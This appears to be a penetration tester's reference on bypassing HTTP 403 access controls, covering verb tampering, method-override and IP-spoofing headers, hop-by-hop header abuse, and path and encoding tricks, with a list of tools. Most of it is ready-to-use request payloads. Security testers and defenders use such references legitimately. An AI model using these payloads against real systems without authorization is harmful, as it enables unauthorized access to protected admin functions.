403 Bypass

Beating the 403 notes and tips

What is the 403

According to https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/403 the 403 code is a client error response indicating the server understood the request but it refused to process it. This status is similar to 401, except that for 403 Forbidden responses, authenticating or re-authenticating makes no difference.

The request failure is tied to application logic, such as insufficient permissions to a resource or action.

Example

We can make the following request

DELETE /users/123 HTTP/1.1
Host: example.com
Authorization: Bearer abcd123

The server has authenticated the request, but the action fails due to insufficient rights and the response body contains a reason for the failure. Usually we would not get a verbose error like below.

HTTP/1.1 403 Forbidden
Date: Tue, 02 Jul 2024 12:56:49 GMT
Content-Type: application/json
Content-Length: 88

{
  "error": "InsufficientPermissions",
  "message": "Deleting users requires the 'admin' role."
}

Causes

  1. IP Address Blocks or Whitelists
  2. Improper Permission Configurations (ACL, IAM)
  3. User-Agent, Referer or Method Restrictions
  4. Misconfigured Reverse Proxies (NGINX, Apache)
  5. File or Directory Permission Issues
  6. Rate Limiting or Throttling:
  7. Authentication or Authorization Failures
  8. Firewall or Security Software Blocks
  9. Geographical Access Restrictions

Referrer Header

For example access to /admin/settings returned a 403 Forbidden response. However, by modifying the Referer HTTP header, the previously restricted page became accessible. Access control could rely on the value of the referee header.

Referer: https://target.com/admin

Verb Tampering

Access control rules are frequently configured only for specific HTTP methods. Changing the method bypasses the rule entirely because the ACL doesn't cover other verbs.

# GET
GET /admin HTTP/1.1
Host: target.com

# POST
POST /admin HTTP/1.1
Host: target.com

# PUT
PUT /admin HTTP/1.1
Host: target.com

# DELETE
DELETE /admin HTTP/1.1
Host: target.com

# PATCH
PATCH /admin HTTP/1.1
Host: target.com

# OPTIONS
OPTIONS /admin HTTP/1.1
Host: target.com

# HEAD
HEAD /admin HTTP/1.1
Host: target.com

# TRACE
TRACE /admin HTTP/1.1
Host: target.com

# CONNECT
CONNECT /admin HTTP/1.1
Host: target.com

# PROPFIND
PROPFIND /admin HTTP/1.1

# PROPPATCH
PROPPATCH /admin HTTP/1.1

# MKCOL
MKCOL /admin HTTP/1.1

# COPY
COPY /admin HTTP/1.1

# MOVE
MOVE /admin HTTP/1.1

# LOCK
LOCK /admin HTTP/1.1

# UNLOCK
UNLOCK /admin HTTP/1.1

# SEARCH
SEARCH /admin HTTP/1.1

# PURGE
PURGE /admin HTTP/1.1

# LINK
LINK /admin HTTP/1.1

# UNLINK
UNLINK /admin HTTP/1.1

HTTP Method Override Headers

Instead of changing the actual HTTP method, you can tunnel a restricted method inside an allowed one. The firewall/proxy sees POST (allowed), the application framework reads the override header and processes DELETE (restricted). https://www.sidechannel.blog/en/http-method-override-what-it-is-and-how-a-pentester-can-use-it/

Frameworks that support method overrides by default or via common middleware

  • Rails
  • Laravel
  • Symfony
  • Spring
  • Django REST Framework
  • Express.js
POST /admin/user/123 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETE
Content-Length: 0

Then we try to tunnel or add methods like

X-HTTP-Method-Override: DELETE
X-HTTP-Method: PUT
X-Method-Override: PATCH
X-HTTP-Method-Override: TRACE

Using a query

POST /admin/user/123?_method=DELETE HTTP/1.1

Inside the body


POST /admin/user/123 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE

Protocol Version Downgrade

Sending requests using older HTTP versions can bypass 403. Can work on older servers.

# To HTTP/1.0
GET /admin HTTP/1.0

# Send nothing at all
GET /admin

User-Agent fuzzing

Another method is User-Agent fuzzing. Its possible to get access to resources by changing the user agent. Some sites white list search engine crawlers to allow indexing of pages that are blocked for regular users. Or just use real browser.

# Google bot user agent
Googlebot/2.1 (+http://www.google.com/bot.html)

# Real browser
"Mozilla/7.0 (Windows NT 11.0; Win64; x64)" 

Host Header fuzzing

Many architectures make access control decisions based on the Host header, when you can manipulate the host header it could result in 403 bypass. Because when an application blindy trusts the header value it might authorize access to for example Host: internal.target.com.

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1

We can also try to send 2 duplicate host headers, the backend might pick different ones, some might validate the first, some the second. This is a parser differential in the HTTP spec itself, this is technically invalid according to RFC 7230. However the the RFC does not specify which header should win if duplicates exist.

GET /admin HTTP/1.1
Host: public.target.com
Host: localhost

Or try removing all Host Header, sending request without Host Headers.

Override Headers

Instead of changing Host directly we can also inject override headers that the backend framework reads preferentially:

X-Forwarded-Host: localhost
X-Host: internal.target.com
X-HTTP-Host-Override: admin.target.com
X-Forwarded-Server: localhost
Forwarded: host=localhost

Hop-by-hop header abuse

Nathan Davison's 2019 research showed you can use the Connection header to strip security headers in transit. Sending Connection: close, X-Forwarded-For causes compliant proxies to remove X-Forwarded-For before forwarding, which can make the backend think the request is local. CVE-2022-1388 (F5 BIG-IP, CVSS 9.8) used this to strip auth headers and get RCE. Source: https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

GET /admin HTTP/1.1
Host: target.com
Connection: close, X-Forwarded-For
X-Forwarded-For: 1.2.3.4

The proxy strips X-Forwarded-For before forwarding. The backend never receives it, and may default to treating the request as coming from localhost or an internal IP.

Connection: close, X-Forwarded-For
Connection: close, X-Real-IP
Connection: close, Authorization
Connection: close, X-Api-Key
Connection: close, X-Forwarded-Host
Connection: close, Cookie

Path fuzzing

When a request is sent it usually goes through 2 systems. Both of these systems parse the URL path, but they may interpret it differently. Again parser differentials.

  1. Proxy / WAF / CDN (the front system that filters requests)
  2. Backend server (the actual application)

For example an admin path

/admin

We can modify the path

/admin/
/admin.
/admin..
/admin%2f

The proxy might think it is a different path, while the backend normalizes it back to /admin. So the WAF lets it through and the server handles it normally.

Trailing character injection

/admin/ (trailing slash)
/admin/. (current directory)
/admin/./
/admin..;/ (semicolon trick for Java)
/admin%20 (trailing space)
/admin%09 (trailing tab)
/admin? (empty query string)
/admin?anything=1
/admin# (fragment — usually stripped by browsers but not always by proxies)
/admin\ (backslash — IIS treats as /)

Path traversal normalization

/%2e/admin (URL-encoded dot)
/./admin
/anything/../admin
/admin/../admin
//admin (double slash)
///admin
/;/admin (empty path parameter)

Semicolon path parameters (Java stack killer)

/admin;foo=bar → proxy sees /admin;foo=bar (no ACL match), Tomcat routes to /admin
/admin;.css → proxy thinks it's a CSS file (may skip security rules), backend routes to /admin
/admin;foo=bar/
/.;/admin → Tomcat strips ;, resolves to //admin → /admin
/portal/..;/admin → Nginx sees ..; as a directory name (literal), Tomcat strips ; then resolves .. → traverses up to /admin
/allowed/..;/../admin — chain multiple

Orange Tsai used /portal/..;/manager/html against Tomcat behind Nginx to access Tomcat Manager on Amazon's infrastructure, which he chained into full RCE. CVE-2018-11759 (Apache mod_jk) was bypassed with /jkstatus;. Spring Security had to patch path parameter stripping (SEC-1584).

URL encoding chains

# Single encoding:
/%61dmin (%61 = a) → proxy doesn't match /admin, backend decodes to /admin
/ad%6din (%6d = m)
/%2fadmin (%2f = /) → some backends treat as /admin
/admin%2f (encoded trailing slash)

# Double encoding:
/%252fadmin → proxy decodes once to /%2fadmin, backend decodes again to //admin → /admin
/admin%252e → %252e → %2e → .
/%252e%252e/admin → %252e%252e → %2e%2e → .. → traversal

# Overlong UTF-8 (legacy but still hits old IIS/Apache):
%c0%af → / (overlong 2-byte encoding)
%c0%ae → .
%e0%80%af → / (overlong 3-byte)
%c1%9c → \

Special byte injection

\xA0 (non-breaking space)
\x85 (NEL), \xA0
; (path parameter)

Extension and content-type tricks

/admin.json (Rails serves same route regardless of extension)
/admin.css
/admin.html
/admin.php (even on non-PHP backends, may confuse proxy rules)
/admin/ vs /admin (some frameworks route differently)
Adding Accept: application/json header (some apps serve different responses)
/api/v1/admin vs /api/v2/admin (version prefix bypass)

Case Manipulation

/Admin
/ADMIN
/aDmIn
/admin vs /Admin/

Null bytes injection

/admin%00 → C-based parsers truncate at null byte
/admin%00.json → proxy sees a .json request (may skip security), backend truncates at null, serves /admin
/admin%00index.html

Dont blindly fuzz values but understand the stack, understand how it handles paths. Every 403 is enforced by a specific component, and that component has a specific parser with specific behaviors. Understanding the enforcer on proxy/waf level and server level is key.

Tools

Name Description URL
Laluka Tool that tests MANY url bypasses to reach a 40X protected page. https://github.com/laluka/bypass-url-parser
URLFuzzer Fuzz URLs with all available ASCII characters to identify parser inconsistencies. https://portswigger.net/bappstore/89f689c69d3840e99d73eacaff3e4a8d
403 Bypasser Runs with every possible permutation for query-based payloads. https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122
Bypass 403 Bypassing 403 and compare responses on verious condition https://github.com/iamj0ker/bypass-403
Forbidden Buster Tool designed to automate bypassing HTTP 401 and 403 response code https://github.com/Sn1r/Forbidden-Buster

Sources: